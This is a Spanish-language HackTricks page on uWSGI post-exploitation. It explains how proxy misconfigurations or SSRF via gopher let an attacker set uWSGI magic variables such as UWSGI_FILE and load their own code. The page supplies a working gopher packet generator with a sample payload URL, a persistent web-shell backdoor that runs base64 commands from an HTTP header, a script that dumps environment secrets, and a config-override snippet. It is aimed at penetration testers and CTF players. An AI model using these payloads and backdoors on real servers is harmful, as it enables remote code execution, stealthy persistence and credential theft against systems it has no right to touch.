WSGI Post-Exploitation Tricks
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
WSGI Overview
Web Server Gateway Interface (WSGI) es una especificación que describe cómo un servidor web se comunica con aplicaciones web, y cómo las aplicaciones web pueden encadenarse para procesar una solicitud. uWSGI es uno de los servidores WSGI más populares, a menudo usado para servir aplicaciones web en Python. Su transporte binario nativo es el protocolo uwsgi (lowercase) que transporta un conjunto de parámetros clave/valor (“uwsgi params”) al servidor de aplicaciones backend.
Related pages you may also want to check:
SSRF (Server Side Request Forgery)
uWSGI Magic Variables Exploitation
uWSGI proporciona variables especiales (“variables mágicas”) que pueden cambiar cómo la instancia carga y despacha aplicaciones. Estas variables no son cabeceras HTTP normales — son parámetros uwsgi transportados dentro de la solicitud uwsgi/SCGI/FastCGI desde el reverse proxy (nginx, Apache mod_proxy_uwsgi, etc.) al backend de uWSGI. Si una configuración del proxy mapea datos controlados por el usuario en parámetros uwsgi (por ejemplo vía $arg_*, $http_*, o endpoints expuestos de forma insegura que hablan el protocolo uwsgi), los atacantes pueden establecer estas variables y lograr ejecución de código.
Dangerous mappings in front proxies (nginx example)
Misconfiguraciones como la siguiente exponen directamente las variables mágicas de uWSGI a la entrada del usuario:
location /app/ {
include uwsgi_params;
# DANGEROUS: maps query args into uwsgi params
uwsgi_param UWSGI_FILE $arg_f; # /app/?f=/tmp/backdoor.py
uwsgi_param UWSGI_MODULE $http_x_mod; # header: X-Mod: pkg.mod
uwsgi_param UWSGI_CALLABLE $arg_c; # /app/?c=application
uwsgi_pass unix:/run/uwsgi/app.sock;
}
Si la aplicación o la función de carga permite escribir archivos en una ruta predecible, combinarlas con los mapeos anteriores suele resultar en RCE inmediato cuando el backend carga el file/module controlado por el atacante.
Variables clave explotables
UWSGI_FILE - Carga/Ejecución arbitraria de archivos
uwsgi_param UWSGI_FILE /path/to/python/file.py;
Carga y ejecuta un archivo Python arbitrario como una aplicación WSGI. Si un atacante puede controlar este parámetro a través del uwsgi param bag, puede lograr Remote Code Execution (RCE).
UWSGI_SCRIPT - Carga de scripts
uwsgi_param UWSGI_SCRIPT module.path:callable;
uwsgi_param SCRIPT_NAME /endpoint;
Carga un script especificado como una nueva aplicación. Combinado con capacidades de subida o de escritura de archivos, esto puede conducir a RCE.
UWSGI_MODULE and UWSGI_CALLABLE - Carga dinámica de módulos
uwsgi_param UWSGI_MODULE malicious.module;
uwsgi_param UWSGI_CALLABLE evil_function;
uwsgi_param SCRIPT_NAME /backdoor;
Estos parámetros permiten cargar módulos Python arbitrarios y llamar a funciones específicas dentro de ellos.
UWSGI_SETENV - Manipulación de variables de entorno
uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;
Puede usarse para modificar variables de entorno, afectando potencialmente el comportamiento de la aplicación o cargando configuración maliciosa.
UWSGI_PYHOME - Manipulación del entorno de Python
uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;
Cambia el entorno virtual de Python, potencialmente cargando paquetes maliciosos o intérpretes de Python distintos.
UWSGI_CHDIR - Cambio de Directorio
uwsgi_param UWSGI_CHDIR /etc/;
Cambia el directorio de trabajo antes de procesar las solicitudes y puede combinarse con otras funcionalidades.
SSRF + uwsgi protocol (gopher) pivot
Modelo de amenaza
Si la aplicación web objetivo expone una primitiva SSRF y la instancia uWSGI escucha en un socket TCP interno (por ejemplo, socket = 127.0.0.1:3031), puedes hablar el protocolo uwsgi en bruto vía gopher e inyectar variables mágicas de uWSGI.
Esto es posible porque muchos despliegues usan un socket uwsgi no-HTTP internamente; el reverse proxy (nginx/Apache) traduce el HTTP del cliente al conjunto de parámetros uwsgi. Con SSRF+gopher puedes crear directamente el paquete binario uwsgi y establecer variables peligrosas como UWSGI_FILE.
uWSGI protocol structure (quick reference)
- Cabecera (4 bytes):
modifier1(1 byte),datasize(2 bytes little-endian),modifier2(1 byte) - Cuerpo: secuencia de
[key_len(2 LE)] [key_bytes] [val_len(2 LE)] [val_bytes]
Para peticiones estándar modifier1 es 0. El cuerpo contiene parámetros uwsgi como SERVER_PROTOCOL, REQUEST_METHOD, PATH_INFO, UWSGI_FILE, etc. Consulta la especificación oficial del protocolo para más detalles.
Minimal packet builder (generate gopher payload)
import struct, urllib.parse
def uwsgi_gopher_url(host, port, params):
body = b''.join([struct.pack('<H', len(k))+k.encode()+struct.pack('<H', len(v))+v.encode() for k,v in params.items()])
pkt = bytes([0]) + struct.pack('<H', len(body)) + bytes([0]) + body
return f"gopher://{host}:{port}/_" + urllib.parse.quote_from_bytes(pkt)
# Example URL:
gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json
Ejemplo de uso para forzar la carga de un archivo previamente escrito en el servidor:
params = {
'SERVER_PROTOCOL':'HTTP/1.1', 'REQUEST_METHOD':'GET', 'PATH_INFO':'/',
'UWSGI_FILE':'/app/profiles/malicious.py', 'SCRIPT_NAME':'/malicious.py'
}
print(uwsgi_gopher_url('127.0.0.1', 3031, params))
Envía la URL generada a través del sink SSRF.
Ejemplo práctico
Si puedes escribir un archivo python en disco (la extensión no importa) con código como:
# /app/profiles/malicious.py
import os
os.system('/readflag > /app/profiles/result.txt')
def application(environ, start_response):
start_response('200 OK', [('Content-Type','text/plain')])
return [b'ok']
Genera y dispara un gopher payload que establece UWSGI_FILE a esta ruta. El backend lo importará y lo ejecutará como una WSGI app.
Post-Exploitation Techniques
1. Persistent Backdoors
File-based Backdoor
# backdoor.py
import subprocess, base64
def application(environ, start_response):
cmd = environ.get('HTTP_X_CMD', '')
if cmd:
result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
else:
response = 'Backdoor active'
start_response('200 OK', [('Content-Type', 'text/plain')])
return [response.encode()]
Cárgalo con UWSGI_FILE y accede a él mediante un SCRIPT_NAME que elijas.
Persistencia basada en el entorno
uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.11/site-packages;
2. Divulgación de Información
Volcado de variables de entorno
# env_dump.py
import os, json
def application(environ, start_response):
env_data = {'os_environ': dict(os.environ), 'wsgi_environ': dict(environ)}
start_response('200 OK', [('Content-Type', 'application/json')])
return [json.dumps(env_data, indent=2).encode()]
File System Access
Combina UWSGI_CHDIR con un helper de servicio de archivos para explorar directorios sensibles.
3. Privilege Escalation ideas
- Si uWSGI se ejecuta con privilegios elevados y escribe sockets/pids propiedad de root, abusar de env y cambios de directorio puede ayudarte a colocar archivos con propietarios privilegiados o a manipular el estado en tiempo de ejecución.
- Sobrescribir la configuración mediante variables de entorno (
UWSGI_*) dentro de un archivo cargado a través deUWSGI_FILEpuede afectar el modelo de procesos y los workers para hacer la persistencia más sigilosa.
# malicious_config.py
import os
# Override uWSGI configuration
os.environ['UWSGI_MASTER'] = '1'
os.environ['UWSGI_PROCESSES'] = '1'
os.environ['UWSGI_CHEAPER'] = '1'
Problemas de desincronización de reverse-proxy relevantes para cadenas uWSGI (recientes)
Las implementaciones que usan Apache httpd con mod_proxy_uwsgi han sufrido recientemente fallos de response-splitting/desincronización que pueden afectar la capa de traducción frontend↔backend:
- CVE-2023-27522 (Apache httpd 2.4.30–2.4.55; también relevante para la integración de uWSGI antes de las correcciones en 2.0.22/2.0.26): cabeceras de respuesta de origen manipuladas pueden provocar HTTP response smuggling cuando
mod_proxy_uwsgiestá en uso. Actualizar Apache a ≥2.4.56 mitiga el problema. - CVE-2024-24795 (corregido en Apache httpd 2.4.59; uWSGI 2.0.26 ajustó su integración con Apache): HTTP response splitting en múltiples módulos de httpd podría causar desincronización cuando los backends inyectan cabeceras. En el changelog de uWSGI 2.0.26 esto aparece como “let httpd handle CL/TE for non-http handlers.”
Estos no otorgan RCE directamente en uWSGI, pero en casos límite pueden encadenarse con header injection o SSRF para pivotar hacia el backend uwsgi. Durante las pruebas, fingerprint the proxy and version y considere primitives de desync/smuggling como una vía de entrada a rutas y sockets accesibles solo desde el backend.
Referencias
- uWSGI Magic Variables Documentation
- IOI SaveData CTF Writeup
- uWSGI Security Best Practices
- The uwsgi Protocol (spec)
- uWSGI 2.0.26 changelog mentioning CVE-2024-24795 adjustments
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks

